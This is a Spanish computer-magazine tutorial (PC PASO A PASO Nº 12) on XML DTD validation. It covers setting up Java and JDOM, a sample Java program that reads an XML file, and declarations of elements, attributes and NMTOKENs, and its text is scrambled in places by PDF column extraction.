concretamente en el
Por lo tanto, la raíz
                                           directorio por defecto winnt
                                            del sistema está en c:winnt
                                                                                                                                   MUY IMPORTANTE...
- E l I I S , I n t e r n e t I n f o r m a t i o n S e r v e r, e s e l S e r v i d o r d e
páginas Web y tiene su raíz en c:inetpub (el directorio
por defecto)
                                                                                                              MUY IMPORTANTE!!!!!                                Por favor, no borres archivos
Nota: Para quien nunca ha tenido instalado el IIS, le será                                                   del Servidor si no sabes exactamente lo que estás haciendo ni
e x t ra ñ o t a n t o e l n o m b r e d e e s t a c a r p e t a ( c :  i n e t p u b ) c o m o
s u c o n t e n i d o . Pe r o b u e n o , u n d í a d e e s t o s o s e n s e ñ a r e m o s                 borres las carpetas de los demás usuarios. Si haces eso, lo único
a i n s t a l a r v u e s t r o p r o p i o S e r v i d o r We b ( I I S ) y d e t a l l a r e m o s
su funcionamiento.                                                                                           que consigues es que tengamos que reparar el sistema servidor
De momento, lo único que hay que saber es que cuando                                                         y, mientras tanto, ni tu ni nadie puede disfrutar de él :(
T Ú p o n g a s n u e s t ra I P ( l a I P d e u n o d e n u e s t r o s s e r v i d o r e s )
en tu navegador (el Internet explorer por ejemplo), lo que                                                   Es una tontería intentar “romper” el Servidor, lo hemos puesto
estás haciendo realmente es ir al directorio
c :  I n e t p u b  w w w r o o t  y l e e r u n a r c h i vo l l a m a d o d e fa u l t . h t m .        para que disfrute todo el mundo sin correr riesgos, para que todo
Nota: Como curiosidad, te diremos que APACHE es otro                                                         el mundo pueda crearse su carpeta y practicar nuestros ejercicios.
S e r v i d o r d e p á g i n a s We b ( s e g u r o q u e h a s o í d o h a b l a r d e
él). Si tuviésemos instalado el apache, cuando pusieses                                                      En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada
n u e s t r a I P e n T U n a v e g a d o r, a c c e d e r í a s a u n d i r e c t o r i o                   de nada que “robar”, es un servidor limpio para TI, por lo tanto
raíz del Apache (donde se hubiese instalado) e intentarías
leer una página llamada index.html ... pero... ¿qué te                                                       cuídalo un poquito y montaremos muchos más :)
estoy contando?... si has seguido nuestra revista ya
dominas de sobras el APACHE ;)
VALIDACIoN DE DOCUMENTOS
                 XML: DTD
          Segunda parte parte:
          Atributos y Elementos
                                   Por Joaquim Roca Verges



A muchos este curso de XML les está pareciendo muy difícil... la dificultad no está en la explicación, sino en “lo
raro” que aparentemente es todo esto y principalmente en la poca utilidad que parece tener. Pues no lo dejes,
sigue el curso y cuando pasen un par de años recordarás este “impass” con una sarcástica sonrisa. Piensa que
XML va a ser EL REY durante los próximos años, TODO será XML, desde un documento de Word hasta una tabla
de EXCEL. ¿No te lo crees? Pues la elección es tuya!!!


            Antes de todo, me gustaría daros ánimos a         a páginas.
            todos a seguir adelante, puede que se os haga     El mes pasado hablamos de la creación de los
            un poco pesado y un poco cuesta arriba pero       DTD, de DTD externos e internos... Este mes
            es necesario que conozcáis lo básico de xml.      continuaremos con los atributos y entidades,
            Repasando un poco tenemos que xml es un           pero antes de nada un poco de diversión con
            lenguaje de marcado, que puede validarse ,        java y xml.
            es decir que podemos establecer unas reglas
            que estarán contenidas en un dtd y que            MANIPULACIÓN DE UN XML SENCILLO
            manipularemos con el DOM. Una vez hayáis          CON JAVA
            entendido al dedillo estos tres conceptos,
            adentraros por vuestra cuenta al (prácticamente   Lo primero de todo, tendremos que bajarnos
            infinito) mundo de xml os será muy fácil, y       las herramientas de trabajo, el lenguaje de
            cuando veáis un xml-schema , al poco              programación Java. Esto es: un entorno de
            diréis...”Pero bueno, si esto es como los DTD”    desarrollo que Sun proporciona de manera
            o cuando os encontréis con SAX o XLS os           gratuita. Nos podemos bajar el Java
            daréis cuenta que es otra forma de manipular      Development Kit de la siguiente dirección:
            xml tan válida como puede serlo el DOM.
                                                              http://java.sun.com/j2se/1.4.1/download.html
            •    XML = Archivo en el que escribimos
            información, organizada en etiquetas.             Escoged la siguiente versión:


            •   DTD = Archivo en el que
            escribimos las reglas que debe
            cumplir el XML

                                                              Como las clases de acceso a xml, no están en
            •   DOM = Manipular la información que
                                                              la edición Standard de java (j2se = java 2
            contiene el xml. Manipular puede ser por
                                                              Standard edition), tendremos que bajarnos
            ejemplo, convertir elementos xml cuyo
                                                              también la edición enterprise, esto es la j2ee
            contenido son direcciones Web, en links reales

Página 32                                                                                       PC PASO A PASO Nº 12
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




          (java 2 enterprise edition) de la dirección:

          http://java.sun.com/j2ee/sdk_1.3/

          Dentro de la página, buscad la plataforma
          (Windows, Linux...) y haced click en el botón
          de continuar.




          Y como estamos a la última, vamos a bajarnos
          también el jdom, que es el DOM para java.
          Podríais bajarlo de http://www.jdom.org, pero        Abrid el winzip, y una vez dentro del winzip,
          luego hay que compilarlo, no siempre va bien         abrid este archivo. Descomprimirlo a la carpeta
          la compilación, da algunos errores extraños...       c: j2sdkee1.3lib de modo que una vez
          mejor vais a                                         descomprimido, veáis la carpeta javax:

          http://www.crionics.com/products/opensourc
          e/eclipse/orion.html

          y hacéis click sobre el link donde          pone


          How to install it ? c:
          1.   Download jdom.jar and copy it to the
          <ORION_HOME>/lib folder.

          Bueno, si habéis llegado hasta aquí, ya lo tenéis
          todo. El siguiente paso es instalarlo.

          1.1       Instalar el jdk = Tan fácil como hacer
          click en el exe que os habéis bajado y seguir        Si curioseáis un poco, abriendo la carpeta javax,
          las instrucciones. La versión que tengo instalada    veréis que contiene una carpeta, con
          en mi PC es c:j2sdk1.4.0_01. Una vez hayáis         nombre xml.
          instalado, tendréis una carpeta de características
          parecidas (igual se llama c: j2sdk1.4.0_02)         1.3      Copiad jdom.jar a c: j2sdkee1.3lib y
                                                               descomprimirlo tal como habéis hecho con
          1.2      Instalar j2ee = La instalación es igual     j2ee.jar. Cuando os pregunten donde queréis
          de fácil pero hache tenemos una dificultad           descomprimirlo, decidle al winzip que en la
          añadida. Una vez la instalación haya finalizado,     misma carpeta c: j2sdkee1.3lib de manera
          localizad la carpeta c: j2sdkee1.3 y buscad el      que lo que hará el winzip será añadirle jars a
          archivo j2ee.jar                                     la carpeta org.


PC PASO A PASO Nº 12                                                                                               Página 33
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




Para ejecutar un fichero java y para compilarlo desde el         programa que utiliza una función para recorrer un documento
entorno DOS ( desde un intérprete de comandos del sistema)       xml, java no sabe dónde está esa función, vosotros tenéis
necesitaremos informar a la variable PATH en que lugar está      que decirle el lugar de vuestro PC en dónde tiene que
el archivo binario que compila nuestro programa java y en        buscarla.
que lugar está el archivo binario que ejecuta los java.class.
En la variable path informamos donde tiene que ir a buscar       Esto se hace, informando la variable CLASSPATH (path de
el sistema operativo los programas que utiliza desde el          las clases de java) en el autoexec.bat sí W98 o WME, o en
intérprete de comandos (DOS en Windows). Por ejemplo si          las variables de entorno sí W2000, WNT O XP. El proceso es
escribís javac y no habéis cambiado la variable PATH, os         el mismo que con el path:
saldrá el siguiente error:
                                                                 Si no tenéis la variable path, la creáis, con la información
                                                                 de los sitios de vuestro PC en donde están las librerías de
                                                                 java , las del jdk(c:jdk1.3.1_01lib) y las del j2ee
                                                                  (c:j2sdkee1.3lib)

                                                                 SET CLASSPATH= c:jdk1.3.1_01lib;c:j2sdkee1.3lib;

                                                                 Si ya tenéis la variable path, la añadís a continuación del
Para editar la variable path, tendréis que editar el archivo     último path, asegurándoos de poner un punto y coma
autoexec.bat en W98 o WME:                                       después del último path
Añadiéndole el lugar donde tenéis la carpeta bin del jdk:        Si teníais:
c:jdk1.3.1_01bin                                               SET CLASSPATH= c:jdk1.3.1_01lib
                                                                 Le añadís un punto y coma y la dirección del jdk , de modo
Si no tenéis la variable path, la creáis:                        que os quede como sigue:
SET PATH= c:jdk1.3.1_01bin;
                                                                 SET CLASSPATH= c:jdk1.3.1_01lib;c:j2sdkee1.3lib;

Si ya tenéis la variable path, la añadís a continuación del
                                                                 Y s i t e n é i s N T, 2 0 0 0 O X P, i r a           INICIO/
último path, asegurándoos de poner un punto y coma después
                                                                 CONFIGURACION/PANEL DE CONTROL/SISTEMA, seleccionar
del último path.
                                                                 la pestaña Avanzado, hacer clic en el botón “Variables de
Si teníais: SET PATH=C:ARCHIV~1SYBASEShared
                                                                 entorno” y cread la variable CLASSPATH si no existe, y si
Le añadís un punto y coma y la dirección del jdk , de modo
                                                                 existe añadirle la dirección del lib del jdk y la dirección del
que os quede como sigue:
                                                                 lib del j2ee.

SET PATH=C:ARCHIV~1SYBASEShared;c:jdk1.3.1_01bin;
                                                                 Cuando reiniciéis el ordenador, ya tendréis el entorno java
                                                                 listo para programar, compilar y ejecutar.
Y si tenéis NT, 2000 O XP, ir a Menu INICIO/
CONFIGURACION/PANEL DE CONTROL/SISTEMA, seleccionar
                                                                 Es un poco complicado de instalar y configurar, pero recordad
la pestaña Avanzado, hacer clic en el botón “Variables de
                                                                 que es gratuito y no es como los paquetes de Microsoft,
entorno” y cread la variable PATH si no existe, y si existe
                                                                 requiere un poco de atención y de habilidad por nuestra
añadirle la dirección del bin del jdk.
                                                                 parte.

Ahora Reiniciad el ordenador (es importante hacerlo, el
                                                                 CODIFICACIÓN, COMPILACIÓN Y EJECUCIÓN DEL
sistema no tendrá en cuenta los nuevos valores del PATH
                                                                 PROGRAMA
hasta que no se reinicie).

                                                                 1)     Abrid un editor de texto cualquiera (el notepad por
Solo queda un paso, y es indicarle a java, donde están las
                                                                 ejemplo) y escribid lo siguiente:
librerías que va a utilizar. Mas claro. Imaginad que hacéis un

 Página 34                                                                                            PC PASO A PASO Nº 12
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




                                                                /* La clase debe llamarse siempre del mismo modo que el archivo*/
   <?xml version="1.0" standalone="yes" ?>                      public class videos {
   <xvid>
                                                                         /* Punto de entrada de la aplicación*/
   <accion>
                                                                         public static void main(String[ ] args) {
        <titulo id="01">Matrix</titulo>
        <titulo id="02">xmen2</titulo>
        <titulo id="03">daredevil</titulo>                               /* Comprobamos que hemos llamado correctamente a la
        <titulo id="04">Hulk</titulo>                                    aplicación, pasándole como parámetro el nombre del
   </accion>                                                             archivo xml. En caso de no ser así mostramos un
                                                                         mensaje informativo de como debe escribirse y salimos*/
   </xvid>
                                                                         if(args.length==0)
                                                                         {
2)       Crear una carpeta nueva en el explorador de                               System.out.println("Utilización: java videos.javavideos.xml");
Windows, que se llame xml y que cuelgue de C, y guardad                            return;
el archivo con el nombre videos.xml                                      }

                                                                         /*Cogemos el nombre del archivo xml*/
                                                                         String nombreArchivoXML = args[0];

                                                                         /* try = intentar en castellano = trozo de código donde
                                                                         pueden haber errores, en caso de que los hayan, el flujo
                                                                         del código se va a la instrucción catch directamente. Es
                                                                         lo mismo que On Error goto... del vbasic*/
                                                                         try {

                                                                         /* Creamos el documento en el jdom ( DOM para java)*/
                                                                         SAXBuilder b = new SAXBuilder();
                                                                         org.jdom.Document doc = b.build(new File(nombreArchivoXML));


                                                                         /* Cogemos el elemento raíz del documento, en nuestro
                                                                         caso xvid*/
                                                                         org.jdom.Element elementoRaiz = doc.getRootElement();

3)      Abrir de nuevo el editor de texto, y escribir el                 /* Cogemos todos los elementos que contiene el elemento raiz, a
siguiente código java:                                                   excepción de el,y los colocamos en el objeto elementosAccion */
                                                                         List elementosAccion =elementoRaiz.getChildren("accion");
/*Directivas de java, librerías necesarias */
                                                                         /* Iterator es una clase de java para moverse por un
                                                                         conjunto de objetos*/
/* Librería de entrada salida*/                                          Iterator iterator = elementosAccion.iterator();
import java.io.*;
                                                                         /* Ejecuta el código mientras el iterador tenga objetos
/* Librerías del jdom */                                                 (elementos) */
import org.jdom.*;                                                          while (iterator.hasNext())
import org.jdom.input.*;                                                    {
import org.jdom.output.*;
                                                                              /* Coge el siguiente objeto que tenga el iterador. Si
/* Librería java de uso general; contiene la clase List entre                no ha empezado es decir si no tiene ninguno, cogerá
otras*/                                                                      el primero*/
import java.util.*;                                                          Object o = iterator.next();



 PC PASO A PASO Nº 12                                                                                                          Página 35
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




                /* Tenemos un objeto, ¿Pero de que tipo? Bingo, de tipo Elemento       javac (java compile). Escribid:
                XML. Por tanto lo convertimos a Elemento XML */
                org.jdom.Element unElementoAccion = (org.jdom.Element) o;                       Javac videos.java

                /* Cogemos todos los elementos que contiene el
                elemento accion, a excepción de el,y los colocamos                     Si todo ha ido bien, no se mostrará ningún mensaje, el
                en el objeto elementosAccion */                                        intérprete de comandos borrará la instrucción y se mostrará
                List elementosTitulo =unElementoAccion.getChildren("titulo");          disponible para que introduzcáis otra instrucción

                /* Iterator es una clase de java para moverse
                por un conjunto de objetos*/
                Iterator iterator2 = elementosTitulo.iterator();

                /* Ejecuta el código mientras el iterador tenga objetos (elementos)
                en este caso elementos con la etiqueta titulo <titulo></titulo> */
                while (iterator2.hasNext())                                            6)       Finalmente ejecutaremos el programa con la
                                                                                       instrucción java + el nombre del archivo (videos.java) + el
                {
                                                                                       parámetro (videos.xml) de la siguiente manera
                /* Coge el siguiente objeto que tenga el iterador. Si no ha empezado
                es decir si no tiene ninguno, cogerá el primero*/                          Java videos.java videos.xml

                    Object c = iterator2.next();                                       Si todo ha ido bien, se nos mostrarán la colección de videos
                                                                                       y nuevamente el intérprete borrará la instrucción y se
                /* Tenemos un objeto, ¿Pero de que tipo? Bingo, de tipo Elemento
                                                                                       mostrará de nuevo disponible para recibir instrucciones:
                XML.Por tanto lo convertimos a Elemento XML */
                   org.jdom.Element unElementoTitulo = (org.jdom.Element) c;


                /*mostramos por pantalla el titulo de la pelicula*/
                   System.out.println(unElementoTitulo.getContent());
                }

          }
          /* Capturamos el error, en caso de que lo hubiese.*/
          } catch (Exception e) {
          e.printStackTrace();
          }
          }
}
                                                                                       Si ha llegado hasta aquí sin haber tenido ningún mensaje
Esta vez, os he comentado línea a línea lo que iba haciendo                            de error ni ningún problema al instalar o configurar...felicidades,
el programa para que os vayáis familiarizando con el DOM,                              o sois de lo mejor o sois muy afortunados.
que llegará...muy pronto!!!                                                            Continuamos con los DTD.

4)      Guardad el archivo con el nombre videos.java Es                                MAS SOBRE ELEMENTOS XML EN LOS DTD
muy importante que el nombre del archivo sea igual que el
nombre de la clase, de no ser así os dará un error cuando                              Tal como explicamos en la primera parte, cada uno de los
compiléis.. Fijaros que la clase se llama public class videos                          elementos usados en un documento xml válido (que se valida
{ ... por tanto el archivo deberá llamarse videos.java                                 contra un dtd) deben ser declarados en un DTD.
                                                                                       Para el ejemplo que hemos visto deberíamos declarar <xvid>,
5)      Abrid el intérprete de comandos, situaros en la
                                                                                       <accion> y <titulo>.
carpeta c:xml , y compilar la clase java con la instrucción

    Página 36                                                                                                                 PC PASO A PASO Nº 12
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




Recordemos el ejemplo que estábamos utilizando hasta                    <ORDEN_DE_COMPRA>12345
ahora:                                                                        <CLIENTE>...
                                                                              </CLIENTE>
Un DTD                                                                  </ORDEN_DE_COMPRA>
         < !ELEMENT ORDEN_DE_COMPRA (CLIENTE) >
         <!ELEMENT CLIENTE (NUMERO_DE_CUENTA, NOMBRE_COMPLETO)>         c)      El tercer tipo seria pues el de los
         < !ELEMENT NUMERO_DE_CUENTA ( #PCDATA)>                        elementos mixtos, es decir que contienen
         < !ELEMENT NOMBRE_COMPLETO ( NOMBRE, APELLIDO1, APELLIDO2) >   otros elementos y texto y se declararía de la
         < !ELEMENT NOMBRE (#PCDATA)>                                   siguiente manera
         < !ELEMENT APELLIDO1 (#PCDATA)>
         < !ELEMENT APELLIDO2 (#PCDATA)>                                < !ELEMENT ORDEN_DE_COMPRA (#PCDATA ,CLIENTE ) >


                                                                        y SIEMPRE en ese orden: texto (#pcdata) +
y un xml válido
                                                                        coma (,) +elemento1(cliente) + coma (,)
                                                                        +elemento2 (siguiente elemento si lo
<ORDEN_DE_COMPRA>
                                                                        hubiese) ...
     <CLIENTE>
         <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA>

             <NOMBRE_COMPLETO>                                          d)      El cuarto tipo es el tipo cualquier
                   <NOMBRE>Sam</NOMBRE>                                 cosa, el elemento puede contener
                   <APELLIDO1>Bass</APELLIDO1>                          cualquier cosa, cualquier combinación, su
                   <APELLIDO2></APELLIDO2>                              contenido es ANY (cualquier contenido).
             </NOMBRE_COMPLETO>
      </CLIENTE>                                                        Se declara de la siguiente manera:
</ORDEN_DE_COMPRA>
                                                                        < !ELEMENT ORDEN_DE_COMPRA ANY >
Hasta ahora, solo hemos visto dos tipos de declaraciones
para un elemento:                                                       Esta declaración se suele utilizar en la fase de
                                                                        diseño y prueba de las DTD, cuando uno no
a) Elementos que contienen otro(s) elemento(s) :                        sabe exactamente la estructura del documento
< !ELEMENT NOMBRE_COMPLETO ( NOMBRE, APELLIDO1,                         que vamos a utilizar.
APELLIDO2) >
                                                                        e)      Finalmente , el último tipo es el
b)Elementos cuyo contenido es solo texto:                               elemento vacío EMPTY, es decir el elemento
< !ELEMENT APELLIDO1 (#PCDATA)>                                         que no va a contener ningún tipo de contenido.
                                                                        Se declara de la siguiente manera
Pero pueden haber más tipos de declaraciones. Supongamos                < !ELEMENT Salto_de_linea EMPTY >
que queramos especificar un número de orden de compra,
podríamos hacerlo con un atributo:                                      ESTRUCTURANDO ELEMENTOS:
                                                                        INDICADORES DE ORDEN Y
<ORDEN_DE_COMPRA NUM=”12345”>                                           CALIFICADORES
anidando un elemento para el número
      <ORDEN_DE_COMPRA>                                                 Podemos obligar a que los elementos de
      <NUM_ORDEN>12345</NUM_ORDEN>                                      un xml sigan un orden con el signo
 y también podríamos hacerlo añadiendo texto al elemento                coma ( ,) :
<ORDEN_DE_COMPRA>
                                                                        < !ELEMENT NOMBRE_COMPLETO ( NOMBRE, APELLIDO1, APELLIDO2) >




 PC PASO A PASO Nº 12                                                                                                                  Página 37
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




Esto nos indica que después de nombre viene apellido1 y         pero no sería correcto:
tras apellido1 viene apellido2
                                                                <DETALLE_CONTACTO>
también podemos obligar a escoger entre dos elementos                 <NUMERO_CUENTA>9876</NUMERO_CUENTA>
con el signo pipe ( | ) ... Os escribo la tabla y luego unos          <NOMBRE>Stan Lee</NOMBRE>
ejemplos.                                                       </DETALLE_CONTACTO>

                                                                                   ya que la pipe ( | ) nos obliga a escoger.
                                                                                   Podemos especificar todas las opciones
                                                                                   que queramos:

                                                                                   < !ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA | NOMBRE
                                                                                   | TELEFONO | EMAIL) >



                                                                                   GRUPOS EN ELEMENTOS

                                                                                   Supongamos que el elemento
                                                                                   DETALLE_CONTACTO va a tener un
                                                                                   numero de cuenta, nombre, teléfono y un
                                                                                   solo email, que puede ser el email del
                                                                                   trabajo o el particular, pero solo uno.
El ejemplo de secuencia ya lo hemos visto.
                                                                Esto lo escribiríamos de la siguiente manera
ELECCIÓN DE ELEMENTOS
                                                                <!ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA , NOMBRE ,TELEFONO ,(EMAIL_CASA |
                                                                EMAIL_TRABAJO) >
Para especificar una lista de opciones, de la que solo saldrá
una.
                                                                Los paréntesis que identifican los grupos, nos permiten
                                                                por tanto anidar opciones. Podemos combinar opciones,
< !ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA | NOMBRE) >
                                                                por ejemplo supongamos que nuestro contacto trabaja
                                                                en dos empresas diferentes; el DTD sería
Aquí le indicamos que en el xml, cuando escribamos un
detalle de contacto, o bien escribiremos el nombre o bien       < !ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA , NOMBRE ,TELEFONO ,
su numero de cuenta                                             (EMAIL_CASA | (EMAIL_TRABAJO_MAÑANAS, EMAIL_TRABAJO_TARDES) >:



Según esta especificación en el xml sería correcto:             Según esta especificación en el xml sería correcto:

<DETALLE_CONTACTO>
      <NUMERO_CUENTA>9876</NUMERO_CUENTA>                       <DETALLE_CONTACTO>
</DETALLE_CONTACTO>
                                                                <NUMERO_CUENTA>9876</NUMERO_CUENTA>
también sería correcto                                                <NOMBRE> Stan Lee </NOMBRE>
                                                                      <TELEFONO> 6345789</TELEFONO>
<DETALLE_CONTACTO>                                                    <EMAIL_CASA>stan@casa.com</EMAIL_CASA>
      <NOMBRE>Stan Lee</NOMBRE>                                 </DETALLE_CONTACTO>
</DETALLE_CONTACTO>




 Página 38                                                                                                 PC PASO A PASO Nº 12
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




<DETALLE_CONTACTO>                                                        este también sería correcto
  <NUMERO_CUENTA>9876</NUMERO_CUENTA>
  <NOMBRE> Stan Lee </NOMBRE>                                             <DETALLE_CONTACTO>
                                                                             <NUMERO_CUENTA>9876</NUMERO_CUENTA>
  <TELEFONO> 6345789</TELEFONO>                                              <NOMBRE> Stan Lee </NOMBRE>
     <EMAIL_TRABAJO_MAÑANAS >stan@mañanas.com</ EMAIL_TRABAJO_MAÑANAS >      <TELEFONO> 6345789</TELEFONO>
     <EMAIL_TRABAJO_TARDES >stan@tardes.com</ EMAIL_TRABAJO_TARDES >         <CODIGO_POSTAL>08013</CODIGO_POSTAL>
</DETALLE_CONTACTO>                                                          <EMAIL_TRABAJO_MAÑANAS >stan@mañanas.com</ EMAIL_TRABAJO_MAÑANAS
                                                                          >
                                                                          </DETALLE_CONTACTO>
Cualquier otra combinación sería errónea
                                                                          este también
NUMERO DE ELEMENTOS HIJOS QUE PUEDE O
DEBE TENER EL XML                                                         <DETALLE_CONTACTO>
                                                                            <NUMERO_CUENTA>9876</NUMERO_CUENTA>
                                                                            <NOMBRE> Stan Lee </NOMBRE>
Podemos decidir el numero de elementos hijos que va                         <TELEFONO> 6345789</TELEFONO>
                                                                            <EMAIL_TRABAJO_MAÑANAS >stan@morning.com</ EMAIL_TRABAJO_MAÑANAS>
a tener un elemento padre, y especificar si va a ser                        <EMAIL_TRABAJO_MAÑANAS >stan@mañanas.com</ EMAIL_TRABAJO_MAÑANAS>
un elemento opcional o no va a serlo:                                         <EMAIL_TRABAJO_TARDES >stan@tardes.com</ EMAIL_TRABAJO_TARDES>
                                                                          </DETALLE_CONTACTO>
• Los elementos que hemos especificado hasta ahora
eran requeridos y únicos, es decir que tenían que                         etc.
existir y que solo podían aparecer una sola vez. Esto
se indica no poniendo ningún calificador                                  Cualquier combinación que se os ocurra respetando las
•    El calificador interrogante ? quiere decir que                       reglas que hemos impuesto.
el elemento será opcional y único, esto es que puede
o no puede aparecer, pero si lo hace lo hace una sola                     ATRIBUTOS XML EN LOS DTD
vez
• El calificador asterisco * quiere decir que el                          Como ya hemos comentado, los elementos xml pueden tener
elemento será opcional y repetible, esto es que puede                     atributos, tantos como necesitéis o queráis, pero si queréis
o no puede aparecer, pero si lo hace lo puede hacer                       que el vuestro sea un xml válido , deberéis declararlos todos
una o más veces                                                           en un DTD
• El calificador más + quiere decir que el elemento
es obligatorio y repetible, esto es que tiene que aparecer                DEFINIENDO ATRIBUTOS EN DTD’S = ATTLIST
como mínimo una vez.
                                                                          Definiremos una lista de atributos para un elemento, con la
Lo vemos con un ejemplo                                                   asignación ATTLIST (attributes list), pondríamos añadir por
                                                                          ejemplo un atributo “envio” al elemento ORDEN_DE_COMPRA,
< !ELEMENT DETALLE_CONTACTO ( NUMERO_CUENTA                               de la siguiente manera:
, N O M B R E , T E L E F O N O , C O D I G O _ P O S TA L ? ,
(EMAIL_CASA | (EMAIL_TRABAJO_MAÑANAS +,                                   <!ATTLIST ORDEN_DE_COMPRA envio CDATA #REQUIRED>
EMAIL_TRABAJO_TARDES *) >:
                                                                          Esta declaración nos dice que el atributo pertenece al
este xml sería correcto                                                   elemento ORDEN_DE_COMPRA, el atributo es requerido
                                                                          (#REQUIRED)
<DETALLE_CONTACTO>
  <NUMERO_CUENTA>9876</NUMERO_CUENTA>
                                                                          y que el contenido del atributo es texto (CDATA)
  <NOMBRE> Stan Lee </NOMBRE>
  <TELEFONO> 6345789</TELEFONO>
  <EMAIL_TRABAJO_MAÑANAS >stan@mañanas.com</ EMAIL_TRABAJO_MAÑANAS>       Podemos incluir más de un atributo:
  <EMAIL_TRABAJO_TARDES >stan@tardes.com</ EMAIL_TRABAJO_TARDES >
</DETALLE_CONTACTO>
                                                                          <!ATTLIST ORDEN_DE_COMPRA envio CDATA #REQUIRED
                                                                          orden_preparada CDATA #REQUIRED>

    PC PASO A PASO Nº 12                                                                                                       Página 39
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




   Reglas para escribir un ATTLIST:                    ESTABLECER UNA UTILIZACIÓN POR
   1.      Comenzar escribiendo <!ATTLIST              DEFECTO DE LOS ATRIBUTOS
   2.      Especificar a que elemento pertenece
   el atributo ( ORDEN_DE_COMPRA)                      Coged un poco más de aire.
   3.      Dar un nombre al atributo ( envio,
   orden_preparada)                                    Aparte de establecer el tipo de atributo, también
   4.      Decir el tipo de atributo (CDATA,           podemos especificar el uso que le vamos a dar
   ENTITY..., ahora veremos la lista de tipos)         por defecto.
   5.      Especificar su utilización (#REQUIRED,
   #IMPLIED, .. ahora vemos la lista)
   6.      cerrar la declaración con el signo >

   TIPOS DE ATRIBUTOS
   Coged un poco de aire que lo que viene ahora
   es un poco duro.

   Mientras que los nombres que les pongamos
   a los atributos son de libre creación por nuestra
   parte, su contenido debe ajustarse a los valores
   que dices que va a contener ese atributo, esto
   es debe ajustarse a su tipo. Por ejemplo si
   dices que el atributo es CDATA es que va a
   contener un texto, no puede contener una
   entidad (una entidad es por ejemplo , una           UTILIZAR TIPOS DE ATRIBUTOS Y USOS
   fotografía).                                        DE ATRIBUTOS

                                                       Soltad el aire, es más fácil de lo que parece.
                                                       Empecemos creando atributos para el elemento
                                                       ORDEN_DE_COMPRA (como podéis ver voy
                                                       cambiando su definición según lo que vaya
                                                       explicando)

                                                       <!ELEMENT ORDEN_DE_COMPRA (fecha, item+, detalles_contacto)>
                                                       <ATTLIST ORDEN_DE_COMPRA id ID #REQUIRED
                                                                         vendedor CDATA #IMPLIED
                                                                         envio CDATA #REQUIRED
                                                                         pre_pagado CDATA #FIXED “si”
                                                                         tipo_orden (via_web | telefono | catalogo )
                                                                        “via_web” almacen NMTOKEN “Huesca”>



                                                       Aquí tenemos que el id lo hemos definido como
                                                       tipo ID requerido. Cada una de las órdenes de
                                                       compra deberá tener un id.

                                                       El siguiente atributo vendedor contiene una
                                                       cadena de caracteres y es #IMPLIED, si no
                                                       existe no hay problema.



Página 40                                                                                            PC PASO A PASO Nº 12
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




El envio es obligatorio, y su valor, ya que no lo hemos                DEFINIR ATRIBUTOS DE TIPO CDATA
especificado en el DTD, debe ser proporcionado por el cliente
cuando de sus opciones de compra.                                      Son los mas comunes. Pueden ser declarados
                                                                       como #IMPLIED, #FIXED o #REQUIRED.
Pre_pagado tiene un valor fijo que es “sí”, lo que nos
indica que la orden de compra debe pagarse antes de                    <!ATTLIST ORDEN_COMPRA vendedor CDATA #IMPLIED>
enviarse.
                                                                       Pueden contener valores por defecto
El quinto atributo: Tipo_orden utiliza una enumeración
                                                                       <!ATTLIST ORDEN_COMPRA pre_pagado CDATA #FIXED “Sí”>
(ENUMERATION) que nos da una lista de los valores posibles
que puede tener este atributo (via_ web | telefono | catalogo)
                                                                       también los podemos declarar sin especificar
y en el caso de que no venga informado, le asignaremos el
                                                                       su #USO
valor “via_web”
El último atributo en caso de no ser asignado, tiene el valor          <!ATTLIST ORDEN_COMPRA envio CDATA #REQUIRED “Llobregat”>
por defecto de “Huesca”
                                                                       RESTRINGIR LOS VALORES DE LOS
Un xml válido sería:
                                                                       ATRIBUTOS CON NMTOKEN

<ORDEN_DE_COMPRA id =”1234”>
      vendedor=”Luis Candelas”                                         Los NMTOKENS siguen unas reglas parecidas
      envio=”UltraRapidAir”                                            a los nombres que deben tener los elementos
      pre_pagado=”si”                                                  XML. Pueden incluir caracteres alfanuméricos,
      tipo_orden=”telefono”                                            caracteres ideográficos ( de otros alfabetos
</ORDEN_DE_COMPRA>                                                     como el griego, el ruso... ejemplo la letra alfa:
                                                                       ; la letra beta: etc.), pueden contener el carácter
Como veis aquí no hemos especificado el almacén, entonces              subguión ( _ ) , guión (- ) o punto ( . ), no
se cogerá el que viene por defecto: “Huesca”                           admiten espacios y pueden comenzar por
                                                                       cualquiera de los caracteres que pueden incluir
                                                                       (alfanuméricos, ideográficos, subguión...)
ASIGNAR VALORES A LOS ATRIBUTOS EN LOS DTD
                                                                       NMTOKENS válidos:
Tal como hemos visto en los ejemplos anteriores podemos
asignar valores por defecto a los atributos. Estos valores irán        Almacen
siempre entre comillas dobles o simples e irán al final de             .almacen
todo.                                                                  -almacen
                                                                       13almacen
<!ATTLIST ORDEN_COMPRA almacen NMTOKEN “Huesca”>                                     (a diferencia de un nombre xml,
                                                                                     un nmtoken ¡¡si puede comenzar
también es correcto con comilla simple                                               con un número!!)

<!ATTLIST ORDEN_COMPRA almacen NMTOKEN ‘Huesca’>                       NMTOKENS no válidos:

si el valor por defecto contiene comillas simples, pondremos           Almacen 13
el valor entre comillas dobles, si el valor por defecto contiene       #almacen
comillas dobles pondremos el valor entre comillas simples:             13 almacen

